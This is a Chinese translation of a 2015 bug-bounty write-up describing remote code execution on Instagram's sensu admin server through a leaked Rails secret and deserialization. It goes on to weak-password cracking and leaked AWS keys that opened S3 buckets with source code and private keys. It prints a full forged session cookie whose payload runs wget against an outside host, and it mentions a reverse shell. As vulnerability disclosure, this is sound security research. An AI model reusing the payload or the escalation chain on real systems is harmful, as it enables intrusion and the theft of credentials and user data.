作者:
我是小號
·
2015/12/21 17:32
http://exfiltrated.com/research-Instagram-RCE.php
0x00 前言
2012年,Blloberg在Facebook白帽子獎勵計劃的網站上發表了一片著名的文章,文章中提到:“如果Facebook出了價值百萬美刀的漏洞,我們也願意照單全付”。在本文開始之前,我想為騙點選量的文章標題向各位道個歉,不過Facebook之前放的豪言是我寫這篇文章的重要背景。經過一番嘗試和努力,我確實發現了一個價值百萬美刀的Instagram漏洞,該漏洞可以用來獲取Instagram的原始碼,照片和SSL證照等。
0x01 絕佳線索
去年,我曾對Facebook的安全性進行過一些小的測試,也取得了一些成果,所以我對於深入測試Facebook的整體業務安全性有著十分濃厚的興趣。發現這個漏洞其實也要感謝我所在的公司能夠允許我在非工作時間查詢其他公司的漏洞,要不然根本沒有這篇文章了。事情是這樣的,我的一個朋友前段時間和我提到,他們正在測試作為Facebook漏洞獎勵計劃重要組成成分的Ins系統的安全性。他們發現Instagram存在一臺有漏洞的Ruby伺服器(https://sensu.instagram.com),我的朋友告訴我,這個漏洞已經被他提交到Facebook漏洞響應團隊,漏洞分類是“內部管理後臺對外”。在他向Facebook中提交的報告中提到,該後臺可能存在一個Ruby密碼重置漏洞由此可以被駭客利用登入進入後臺,不過他並沒有成功印證他的猜測。看到這個漏洞細節的第一眼,我就想起了CVE-2013-3221(http://ronin-ruby.github.io/blog/2013/01/28/new-rails-poc.html),不過鑑於他已經提交了這個漏洞,所以我朋友只是私下裡讓我幫他看看是不是能夠深入利用這個線索,擴大漏洞影響,接觸Instagram的核心資料。
0x02 Ruby(Rails)遠端命令執行
基於之前朋友的漏洞報告細節,我嘗試著查詢可以重置這個Ruby應用密碼的漏洞。不過初步的測試效果並不理想,一般的登入頁面並不接受數值“0”作為密碼,而且我也不知道要用什麼辦法才能傳送一封密碼重置郵件。我發現,Instagram的這個後臺可能是用了開源的Sensu管理系統,於是我谷歌了關鍵詞“Sensu-Admin”,但是一無所獲。看起來,貌似我朋友的推測並不行。
不過驚喜的是,我發現了這個應用在Github上面有原始碼,在該專案的目錄中,我發現了secret_token.rb
中洩露了Rails的私鑰。我第一反應是,Facebook的程式設計師不會傻到把在搭建自己後臺應用的時候不更改私鑰吧?不過我還是想試試,因為如果嘗試成功的話,那我就可以偽造seesion cookies,然後登陸後臺了。我前面也提到CVE-2013-3221(http://ronin-ruby.github.io/blog/2013/01/28/new-rails-poc.html),這篇文章的作者指出,不僅僅cookies可以被偽造,而且因為Ruby Rails的反序列化漏洞,攻擊者甚至可以直接構造遠端程式碼執行攻擊。
在嘗試反序列化漏洞測試Instagram這個業務之前,我首先在本地進行了測試,我是用了下面這個測試框架:
https://github.com/charliesome/charlie.bz/blob/master/posts/rails-3.2.10-remote-code-execution.md
結果出人意料的好,我成功在本地復現了漏洞。所以,我使用相同的步驟,結合剛剛在Github上的發現,我向Instagram的Sensu-Admin管理後臺伺服器傳送瞭如下的cookie:
#!bash
_sensu-admin_session=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQc6DkBpbnN0YW5jZW86CEVSQgY6CUBzcmNJIkFldmFsKCdzeXN0ZW0oIndnZXQgaHR0cDovL2V4ZmlsdHJhdGVkLmNvbS90ZXN0LWluc3RhZ3JhbSIpJykGOgZFVDoMQG1ldGhvZDoLcmVzdWx0--92c614a28526d03a1a31576bf4bb4c6026ef5e1f
透過精心構造的cookie,Instagram的伺服器成功執行了我傳送的程式碼,解密開來就是這樣:
"wget http://exfiltrated.com/test-instagram"
所以,我建立了一個監聽埠,然後上傳了一個遠端shell檔案,結果如下:
成功讓Instagram伺服器執行了我傳送的命令程式碼以後,我把該漏洞報告給了Facebook團隊。我在報告中提到:
- Facebook使用的“Sensu-Admin”服務使用了網路上公開的私鑰
- sensu.instagram.com正執行著Rails 3.X版本,該版本存在一個遠端程式碼執行漏洞。
0x03 致命弱口令
其實,對於我來說,發現一個遠端程式碼執行來說並不是什麼大不了的激動人心的事情。但是我想確認一下,我是否還在Facebook漏洞獎勵計劃的範圍內,於是我又去檢視了Facebook的漏洞獎勵計劃說明,說明中提到,雖然Facebook極力反對在測試中可能對業務進行破壞的滲透行為,不過響應團隊對,如果測試者明確自己可以接觸到更加核心的資料非常感興趣。嗯,看到這裡,我覺得我自己的滲透測試行為還在Facebook授權許可的範圍內。
上一章提到,我雖然成功讓Facebook的伺服器執行了遠端程式碼,獲取了伺服器的Shell,但是我並沒有接觸到該後臺的UI介面。碰巧的是,Instagram的這個後臺把管理使用者資料儲存在了同一臺伺服器的Postgres DB內,既然這樣,手起刀落,我成功獲取了該後臺大約60個賬戶的使用者名稱和密碼。不過,很悲催的是,密碼被加密了,我正在蛋疼如何解密這些資料呢,好訊息就來了。我短時間內就破解出了12個弱口令,這些密碼包括"changme","password","instagram"。我的天!赤果果的弱口令啊。所以,我成功登入了https://sensu.instagram.com的後臺介面,截圖留念:
因為Facebook極力反對在測試中可能對業務進行破壞的滲透行為,所以我就截圖留念走人,順手把這個作為新漏洞提交給了Facebook應急響應團隊。
0x04 滲透內網
在我第一次的漏洞報告郵件中,我詢問了Facebook團隊是否能夠獲取滲透內網的授權。因為,這臺Sensu-Admin伺服器是跑在EC2上面的,在etc/host/資料夾內可以看到大大小小1400個系統的記錄。所以這也就意味著,我有很大可能可以攻入Instagram內網。
不過,Facebook並不沒有給我一個明確的答覆。而且,他們在短時間內做出了響應,限制了外網對https://sensu.instagram.com的訪問。所以,到底滲透內網繼續下去會有哪些收穫,就永遠成為一個謎團了。
0x05 金鑰匙
其實滲透到現在這步,我對我之前整個滲透過程感到很滿意了。我已經發現了三個確鑿的Instagram漏洞,其中有兩個我打包提交給了Facebook。當然,故事到這裡並沒有結束。我在滲透sensu.Instagram.com的時候,發現了伺服器下存在這樣一個檔案: /etc/sensu/config.json
這個配置檔案中包含了資料庫和其他一些服務的驗證憑證。憑證包括一個Email賬戶和一堆Pagerduty key。當然,我把視線重點放在了同樣在檔案中列出的AWS key-pair上,我覺得這是下一個滲透突破點。
AWS keys可以用作登入許多不同AWS業務的憑證,但我關注的重點是,這些keys能否用於登入亞馬遜S3雲端儲存服務,如果可以登入的話,就表示大量敏感資料可以被獲取。在這個配置檔案中,我發現了82個不同的雲端儲存區域。不過,直接訪問這些雲端儲存區域,被伺服器阻斷了。我只能看到這些雲端儲存區域的名字,但是不能獲取到具體內容。不過有一個例外,那就是,一個名autoscale-kitchen的區塊。
看到autoscale-kitchen兩個單詞時,我的第一反應是,這是一臺開發伺服器。我在伺服器上找到了一個名為autoscale-kitchen-latest.tar.gz
的服務安裝配置檔案,以及其之前的迭代版本。我首先查詢了最新版的配置檔案裡面是否有敏感資訊洩露,結果大失所望。接著我又查詢了幾個更早的版本,幸運的是,我在一箇舊版本中找到了一個名為Vagrant的配置檔案,在配置檔案中我找到了Instagram的EC2 key-pair。
手起刀落,我使用剛剛找到的key-pair成功連線上了Instagram d的S3雲端儲存服務,並且這次,我可以獲取到每一個區塊的具體內容!!
0x06 掌控帝國
有了瀏覽Instagram儲存在亞馬遜S3雲端儲存服務上資料的許可權後,我瀏覽下載了幾個區塊中的內容。
第二天,我開始檢視從雲端儲存服務上下載的資料,我發現這些資料中包含了使用者上傳的圖片,傳送的文字等內容。因為Facebook漏洞獎勵計劃對侵犯使用者敏感資料的行為做出了限制規定,所以我停止了對使用者資料的更進一步的滲透。不過,我敢肯定,如果繼續下去獲取的資料肯定更為勁爆,更多敏感的資料可以被獲取。
我使用AWS keypair從其他多個區塊中獲取了以下資訊:
Instagram.com的統計資料,多個後臺的原始碼,當然更為勁爆的是,還有SSL證照和大量私鑰,涉及instagram.com
,*.instagram.com
和Instagram在其他網路服務的私密API介面,毫不誇張地說,現在我已經具有能力對Instagram上面任何一位使用者進行任何操作的權利。
於是,我再一次向Facebook提交了包含大大小小7個不同安全問題的報告,主要包括:
- 透過AWS證照,任何未被授權的使用者可以登入進入sensu管理系統
- AWS儲存區塊儲存著訪問其他區塊的證照,被用以提權攻擊。
- 敏感資料間沒有做隔離,導致一個AWS keys就可以訪問所有S3區塊。
- AWS keys可以被外網IP登入,如果攻擊者完全有能力清除伺服器日誌,達到攻擊後無法查詢到具體攻擊者的目的。
0x07 後記
最後,我想用一張思維導圖總結一下我此次滲透進入Instagram帝國的過程:
其實整件事情的起因是,sensu.instagram.com的遠端程式碼執行,從這個漏洞,我又發掘出了後臺員工的弱口令。透過sensu.instagram. com伺服器上的配置檔案,我又獲取了AWS keypair,使用這keypair,我又從S3雲端儲存伺服器上讀取到了EC2 AWS keypair。使用這個keypair我讀取到了instagram儲存在S3雲端儲存服務上的所有重要敏感資料。 整個滲透測試過程,暴露出了Facebook在安全體系建設上的大量缺陷,是我驚訝的是,在安全體系建設了這麼多年以後,竟然還會出現許多低階的安全和規範問題。可見,安全攻防,還會朝著更為縱深的方向持續。
[原文連結]
http://exfiltrated.com/research-Instagram-RCE.php
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!